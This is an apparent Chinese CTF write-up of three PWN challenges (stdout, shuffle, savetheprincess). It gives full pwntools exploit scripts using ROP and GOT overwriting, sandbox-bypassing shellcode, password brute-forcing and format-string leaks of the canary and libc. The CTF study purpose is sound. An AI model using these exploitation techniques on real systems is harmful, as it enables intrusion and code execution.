当前位置: 首页 > news >正文

2024春秋杯网络安全联赛夏季赛-PWN

文章目录

  • stdout
    • 测试
    • setvbuf(stdout, 0LL, 2, 0LL)绕过
    • 或者输出直到缓冲区满
    • 使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
    • 参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4)
    • 思路
    • exp
  • shuffle
    • exp
  • savetheprincess
    • pread
      • 参数说明
      • 返回值
      • 示例代码
    • exp

stdout

在这里插入图片描述
在这里插入图片描述
溢出返回到vuln
在这里插入图片描述
然后rop

在这里插入图片描述

测试

#include <stdio.h>
#include <stdlib.h>int main() {//setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);printf("ouput2.\n");return 0;
}

在这里插入图片描述
取消掉注释后
在这里插入图片描述

setvbuf(stdout, 0LL, 2, 0LL)绕过

#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);setvbuf(stdout, 0LL, 2, 0LL);printf("ouput2.\n");gets(a);return 0;
}

执行 setvbuf(stdout, 0LL, 2, 0LL);可以看到之前的在缓冲区的上的已经输出
在这里插入图片描述

或者输出直到缓冲区满

使用system(“/bin/sh”)或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显

#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);//setvbuf(stdout, 0LL, 2, 0LL);system("/bin/sh");gets(a);return 0;
}

在这里插入图片描述

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)();
func_ptr onegadget;int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");char* put_addr=&puts;onegadget=put_addr-0x84420+0xe3afe;asm("mov r12,0");printf("%p",put_addr);//setvbuf(stdout, 0LL, 2, 0LL);onegadget();//system("/bin/sh");return 0;
}

发现可行
在这里插入图片描述

参考https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4

显式调用fflush函数
流被关闭(调用fclose)
程序正常结束(调用exit)

思路

gadget不够,用csu里的,通过rop的一个特殊gadget修改got表,然后利用gadget满足onegadget的条件,最后调用覆盖got表
在这里插入图片描述

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
# gdb.attach(p,"b main")
# pause()elf=ELF("./pwn")ret_addr=0x000000000040125D
stdout=0x0000000000404070
csu=0x00000000004013CA 
setvbuf=elf.plt["setvbuf"]
read=elf.got["read"]
put=elf.plt["puts"]
print(hex(read))
rbp=8*b"\xff"
payload=b"a"*0x50+rbp+p64(ret_addr)
p.sendline(payload)
#payload=b"a"*0x1f+rbp+p64(csu)+p64(1)+p64(2)+p64(stdout)+p64(0)+p64(0)+p64(0)+p64(0x00000000004013B0 ) +p64(2)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(setvbuf)
# .text:00000000004013B0                 mov     rdx, r14
# .text:00000000004013B3                 mov     rsi, r13
# .text:00000000004013B6                 mov     edi, r12d
# .text:00000000004013B9                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD                 add     rbx, 1
# .text:00000000004013C1                 cmp     rbp, rbx
# .text:00000000004013C4                 jnz     short loc_4013B0
# .text:00000000004013CA                 pop     rbx
# .text:00000000004013CB                 pop     rbp
# .text:00000000004013CC                 pop     r12
# .text:00000000004013CE                 pop     r13
# .text:00000000004013D0                 pop     r14
# .text:00000000004013D2                 pop     r15
# .text:00000000004013D4                 retn# 0x00000000004011fc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
#extent + csu                                                                                                                                                                                      
payload=b"a"*0x1f+rbp+p64(0x0000000000401287)+p64(csu)+  p64(0x5f6e4-6)+p64(0x0000000000404018+0x3d)+p64(0)+p64(0)+p64(0)+p64(0)  +p64(0x00000000004011fc )  +p64(0x0000000000401287)
p.sendline(payload)p.interactive()

在这里插入图片描述

shuffle

在这里插入图片描述
在这里插入图片描述

使用openat,mmap,writev读Flag或者openat preadv2 writev等等

在这里插入图片描述
在这里插入图片描述

零字节绕过shuffle(零字节之前不为零的不能超过一个即可)
然后写入shellcode即可(没有栈,通过mmap分配的内容作为栈,进而存储字符串和iovec这个结构体)

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()shellcode = '''mov eax,0 '''  #寄存器都被设置为零 push 0出现段错误
# shellcode += shellcraft.openat(0xffffff9c,"flag",0)#openat(AT_FDCWD,"flag",O_RDONLY)
# shellcode +=shellcraft.mmap(0,0x100,1, 1,3,0) #mmap(0,0x100,PROT_READ, MAP_SHARED,3,0)
# shellcode +=shellcraft.writev(1,'rax',0x100)
#  0x1337000:	mov    rax,0x0
# => 0x1337007:	push   0x67616c66
#    0x133700c:	mov    rsi,rsp
#    0x133700f:	mov    edi,0xffffff9c
#    0x1337014:	xor    edx,edx
#    0x1337016:	xor    eax,eax
#    0x1337018:	mov    ax,0x101
#    0x133701c:	syscall 
#    0x133701e:	push   0x1
#    0x1337020:	pop    r10
#    0x1337022:	push   0x3
#    0x1337024:	pop    r8
#    0x1337026:	xor    r9d,r9d
#    0x1337029:	xor    edi,edi
#    0x133702b:	mov    esi,0x1010201
#    0x1337030:	xor    esi,0x1010301
#    0x1337036:	mov    rdx,r10
#    0x1337039:	push   0x9
#    0x133703b:	pop    rax
#    0x133703c:	syscall 
#    0x133703e:	push   0x1
#    0x1337040:	pop    rdi
#    0x1337041:	xor    edx,edx
#    0x1337043:	mov    dh,0x1
#    0x1337045:	mov    rsi,rax
#    0x1337048:	push   0x14
#    0x133704a:	pop    rax
#    0x133704b:	syscall shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66mov edi, 0xffffff9c
mov    rsi, rsp
xor    edx,edx
xor    eax,eax
mov    ax,0x101
syscall 
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscallpush 0x20
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
p.interactive()

测试的如下,对照着写shellcode就行了

#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main()
{int fd = openat(AT_FDCWD,"flag",O_RDONLY);if(fd==-1){printf("openat error!");}char*addr=mmap(0,0x100,PROT_READ, MAP_SHARED,fd,0);char*addr_=mmap(NULL, 0x10, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);write(1,addr,0x100);struct iovec iov;char str[] = "Hello ";// 准备 iovec 结构体iov.iov_base = str;iov.iov_len  = strlen(str);// 使用 writev() 写入数据ssize_t n = writev(1, &iov, 1);return 0;
}

在这里插入图片描述

savetheprincess

在这里插入图片描述
在这里插入图片描述
openat+pread+write绕过

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
没有时间限制,也没有次数限制,可以爆破,26*7次,然后触发格式化字符串泄露canary和libc地址,然后溢出rop绕过沙箱
在这里插入图片描述
填充满buf,当输出buf时也会输出i从而判断是否i递增进而判断是否爆破该位正确

在这里插入图片描述
找不到控制第六个参数的gadget,mmap改成pread或者mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag
pread不能从终端输入,只能在之前加个泄露栈地址,然后flag名放栈上了

pread

pread() 函数在 Linux 和类 Unix 系统中用于从文件描述符指定的文件中读取数据,但与普通的 read() 函数不同,pread() 允许你指定从文件的哪个偏移量开始读取数据

pread() 的原型如下:

#include <unistd.h>ssize_t pread(int fd, void *buf, size_t count, off_t offset);

参数说明

  • fd: 文件描述符,指向要从中读取数据的文件。
  • buf: 指向缓冲区的指针,读取的数据将被存放到这个缓冲区中。
  • count: 要读取的字节数。
  • offset: 读取操作的起点偏移量,相对于文件的开始位置,单位是字节。

返回值

pread() 返回实际读取的字节数。如果读取失败,函数将返回 -1 并设置 errno 变量来指示错误原因。

示例代码

下面是一个使用 pread() 的示例代码:

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>int main(void) {int fd;char buffer[100];off_t offset = 100;  // 从文件的第100字节开始读取ssize_t bytes_read;// 打开文件fd = open("testfile.txt", O_RDONLY);if (fd == -1) {perror("open");exit(EXIT_FAILURE);}// 使用 pread 从文件的特定位置读取数据bytes_read = pread(fd, buffer, sizeof(buffer), offset);if (bytes_read == -1) {perror("pread");close(fd);exit(EXIT_FAILURE);}// 输出读取的数据buffer[bytes_read] = '\0';  // 确保字符串以 null 字符终止printf("Read %ld bytes: %s\n", bytes_read, buffer);// 关闭文件描述符close(fd);return 0;
}

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
lib = ELF('./libc.so.6')
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()password=""
for i in range(8):for j  in range(26):p.sendlineafter(b"> \n",str(1))pwd=passwordpwd+=chr(ord("a")+j )p.sendafter(b"please input your password: \n",pwd.ljust(10,"a"))result=p.recvuntil(b"!!!\n",drop=True)print(pwd," ",result)print(i+1," ",result)if b"successfully" in result:password=pwdprint("suceessful")payload=b"%9$p%11$p%10$p%15$p"   # canary pie libcp.send(payload)breakif i+1 in result:password=pwdprint("right")breakprint("error")canary=int(p.recv(18),16)
pie=int(p.recv(14),16)-0x17be
stack=int(p.recv(14),16)+0xa8+0x10
libc=int(p.recv(14),16)-0x29d90
openat_add=lib.sym["openat"]+libc
pread_add=lib.sym["pread64"]+libc
write_add=lib.sym["write"]+libc
print(hex(canary),hex(pie),hex(libc))
p.sendlineafter(b"> \n",str(2))pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f2e7
pop_r10=pie+0x00000000000017d5
pop_r8_mov_rax_1=libc+0x00000000001659e6
pop_rax=libc+0x0000000000045eb0
syscall=libc+0x0000000000029db4
pop_rdx=libc+0x000000000003d1eepayload=56*b"a"+p64(canary)+p64(0)+p64(pop_rdi) +p64(0xffffffffffffff9c)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(openat_add)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(pop_rdx)+p64(0)+p64(pread_add)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(write_add)
payload+=b"flag\x00"
p.sendlineafter(b"Attack the dragon!!\n",payload)
p.interactive()

在这里插入图片描述

相关文章:

2024春秋杯网络安全联赛夏季赛-PWN

文章目录 stdout测试setvbuf(stdout, 0LL, 2, 0LL)绕过或者输出直到缓冲区满使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https…...

怎么提高音频声音大小?提高音频声音大小的四种方法

怎么提高音频声音大小&#xff1f;在音频处理和编辑中&#xff0c;增加声音的音量是一个常见的需求&#xff0c;尤其是在确保音频清晰度和听觉效果的同时。调整音频的音量不仅仅是简单地提高音频的响度&#xff0c;它也涉及到如何保持音质的高标准&#xff0c;确保没有失真或削…...

从数据仓库到数据湖(下):热门的数据湖开源框架

文章目录 一、前言二、Delta Lake三、Apache Hudi四、Apache Iceberg五、Apache Paimon六、对比七、笔者观点八、总结九、参考资料 一、前言 在上一篇从数据仓库到数据湖(上)&#xff1a;数据湖导论文章中&#xff0c;我们简单讲述了数据湖的起源、使用原因及其本质。本篇文章…...

对话AI原生 | 千帆AppBuilder重构企业AI原生应用开发体验

人工智能和大模型正在引领当前最重要的科技创新趋势。在过去的一年中&#xff0c;行业关注点已从大模型研发转向实际应用&#xff0c;正成为推动创新和转型的关键力量。百度智能云千帆AppBuilder作为基于大模型的企业级AI原生应用开发工作台&#xff0c;支持应用的快速开发和发…...

CF253C Text Editor 题解

思路 既然要求最少步数&#xff0c;那我们可以用bfs 如果鼠标的位置比上一行的行末位置大&#xff0c;如果按上的话&#xff0c;移到上一行的行末。如果鼠标的位置比下一行的行末位置大&#xff0c;如果按下的话&#xff0c;移到下一行的行末。 注意当鼠标位置超过当前行最大…...

Spring Boot 创建定时任务

在现代应用程序开发中&#xff0c;定时任务是一个常见的需求。Spring Boot作为一个强大的框架&#xff0c;提供了简单易用的定时任务调度功能。本文将详细介绍如何在Spring Boot中创建和管理定时任务&#xff0c;并提供完整的代码示例。 1. 什么是定时任务 定时任务是指在预定…...

Vue使用Echarts(入门级)

最终效果&#xff1a; npm install echarts --save // 先安装echarts<template><!-- 创建一个dom区域用于挂载echarts图表 --><div id"chart" style"width: 600px;height:500px;"/> </template> <script> import * as ech…...

2025届秋招提前批信息汇总(计算机类)

私企篇 深信服 链接&#xff1a;https://app.mokahr.com/campus_apply/sangfor/27944#/home内推码&#xff1a;NTAHRFS截止时间&#xff1a;6月21日 TP-LINK 链接&#xff1a;https://hr.tp-link.com.cn/jobList?jobId107&jobDirection0&workPlace0&currentPa…...

Scala Collection(集合)

Scala Collection(集合) Scala集合库是Scala语言的核心特性之一,它提供了一套丰富的数据结构来存储、管理和操作数据。Scala集合分为可变(mutable)和不可变(immutable)两种类型,每种类型都有其特定的用途和优势。本文将详细介绍Scala集合库的基本概念、常用集合类型以及…...

Go 语言 UUID 库 google/uuid 源码解析:UUID version4 的实现

google/uuid 库地址 本文将解析 googl/uuid 库中 UUID 变体10版本4的实现。 版本 4 的 UUID 采取完全随机的方式实现&#xff0c;简单来说就是将 UUID 中的 122 位全部随机填充&#xff08;剩余的 6 位作标记位&#xff09;。版本 4 的 UUID 存在一定的重复风险&#xff0c;但…...

开发个人Go-ChatGPT--6 OpenUI

开发个人Go-ChatGPT–6 OpenUI Open-webui Open WebUI 是一种可扩展、功能丰富且用户友好的自托管 WebUI&#xff0c;旨在完全离线运行。它支持各种 LLM 运行器&#xff0c;包括 Ollama 和 OpenAI 兼容的 API。 功能 由于总所周知的原由&#xff0c;OpenAI 的接口需要密钥才…...

Spring中的工厂模式详解及应用示例

1. Spring中的BeanFactory BeanFactory是一个接口&#xff0c;表示它是一个工厂&#xff0c;负责生产和管理bean。在Spring中&#xff0c;BeanFactory是IOC容器的核心接口&#xff0c;定义了管理Bean的通用方法&#xff0c;如 getBean 和 containsBean。 BeanFactory与IOC容器…...

Electron 简单搭建项目

准备工作 全局安装 node npm创建文件夹&#xff0c;并执行 npm init安装 electron npm i electron --save-dev在 package.json 配置文件中的scripts字段下增加一条start命令&#xff1a; {"scripts": {"start": "electron ."} }由于配置中的入…...

旗晟智能巡检机器人:开启工业运维的智能化新篇章

在当今快速发展的工业领域&#xff0c;安全、效率和成本控制是企业运营的核心。旗晟科技以创新为驱动&#xff0c;推出了一站式的工业级智能巡检机器人数字化全景运维解决方案&#xff0c;为石油、天然气、化工、电力等高危行业提供了一个全新的运维模式。 一、面对挑战&#x…...

vue3的常用 Composition API有哪些?

Vue.js 3.0 引入了 Composition API&#xff0c;作为一种新的组织组件逻辑的方式&#xff0c;相比于传统的 Options API&#xff0c;Composition API 提供了更灵活、更可复用的代码组织方式。 以下是 Vue 3.0 中常用的 Composition API&#xff1a;setup() 函数&#xff1a; s…...

深度优先算法-DFS(算法篇)

算法之深度优先算法 深度优先算法(DFS) 概念&#xff1a; 深度优先算法(DFS)跟BFS算法一样是用于遍历图的算法&#xff0c;但是DFS并不像BFS算法一样&#xff0c;它搜索出来的路径不具有最短性&#xff0c;并且dfs算法类似于枚举&#xff0c;因此DFS算法一般用于求出问题的所…...

C++模块化之内部类

目录 1.引言 2.内部类的访问控制 3.优缺点分析 4.实际运用 4.1.实现复杂数据结构 4.2.封装细节实现 4.3.事件处理和回调 4.4.模板元编程辅助类 4.5. 访问控制和封装 4.6. 代码组织和模块化 5.总结 1.引言 在C中&#xff0c;内部类&#xff08;Nested Class&#xff…...

k8s-第九节-命名空间

命名空间 如果一个集群中部署了多个应用&#xff0c;所有应用都在一起&#xff0c;就不太好管理&#xff0c;也可以导致名字冲突等。 我们可以使用 namespace 把应用划分到不同的命名空间&#xff0c;跟代码里的 namespace 是一个概念&#xff0c;只是为了划分空间。 # 创建命…...

【AI大模型新型智算中心技术体系深度分析 2024】

文末有福利&#xff01; ChatGPT 系 列 大 模 型 的 发 布&#xff0c; 不 仅 引 爆 全 球 科 技 圈&#xff0c; 更 加 夯 实 了 人 工 智 能&#xff08;Artificial Intelligence, AI&#xff09;在未来改变人类生产生活方式、引发社会文明和竞争力代际跃迁的战略性地位。当…...

王道计算机数据结构+插入排序、冒泡排序、希尔排序、快速排序、简单选择排序

本内容是基于王道计算机数据结构的插入排序、冒泡排序、希尔排序、快速排序、简单选择排序整理。 文章目录 插入排序算法性能代码 冒泡排序算法性能代码 希尔排序算法性能代码 快速排序算法性能代码 简单选择排序算法性能代码 插入排序 算法 算法思想&#xff1a;每次将一个…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

linux arm系统烧录

1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 &#xff08;忘了有没有这步了 估计有&#xff09; 刷机程序 和 镜像 就不提供了。要刷的时…...

基于Docker Compose部署Java微服务项目

一. 创建根项目 根项目&#xff08;父项目&#xff09;主要用于依赖管理 一些需要注意的点&#xff1a; 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件&#xff0c;否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...

令牌桶 滑动窗口->限流 分布式信号量->限并发的原理 lua脚本分析介绍

文章目录 前言限流限制并发的实际理解限流令牌桶代码实现结果分析令牌桶lua的模拟实现原理总结&#xff1a; 滑动窗口代码实现结果分析lua脚本原理解析 限并发分布式信号量代码实现结果分析lua脚本实现原理 双注解去实现限流 并发结果分析&#xff1a; 实际业务去理解体会统一注…...

【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)

升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点&#xff0c;但无自动故障转移能力&#xff0c;Master宕机后需人工切换&#xff0c;期间消息可能无法读取。Slave仅存储数据&#xff0c;无法主动升级为Master响应请求&#xff…...

CMake 从 GitHub 下载第三方库并使用

有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

06 Deep learning神经网络编程基础 激活函数 --吴恩达

深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...

HashMap中的put方法执行流程(流程图)

1 put操作整体流程 HashMap 的 put 操作是其最核心的功能之一。在 JDK 1.8 及以后版本中&#xff0c;其主要逻辑封装在 putVal 这个内部方法中。整个过程大致如下&#xff1a; 初始判断与哈希计算&#xff1a; 首先&#xff0c;putVal 方法会检查当前的 table&#xff08;也就…...

让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比

在机器学习的回归分析中&#xff0c;损失函数的选择对模型性能具有决定性影响。均方误差&#xff08;MSE&#xff09;作为经典的损失函数&#xff0c;在处理干净数据时表现优异&#xff0c;但在面对包含异常值的噪声数据时&#xff0c;其对大误差的二次惩罚机制往往导致模型参数…...

GruntJS-前端自动化任务运行器从入门到实战

Grunt 完全指南&#xff1a;从入门到实战 一、Grunt 是什么&#xff1f; Grunt是一个基于 Node.js 的前端自动化任务运行器&#xff0c;主要用于自动化执行项目开发中重复性高的任务&#xff0c;例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...